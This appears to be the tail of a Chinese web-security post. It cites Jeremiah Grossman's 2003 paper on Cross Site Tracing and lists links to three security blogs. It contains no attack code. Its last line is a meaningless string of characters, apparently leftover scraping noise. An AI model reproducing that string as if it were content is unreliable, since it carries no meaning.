"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
: D7 f8 @5 e5 g8 k1 `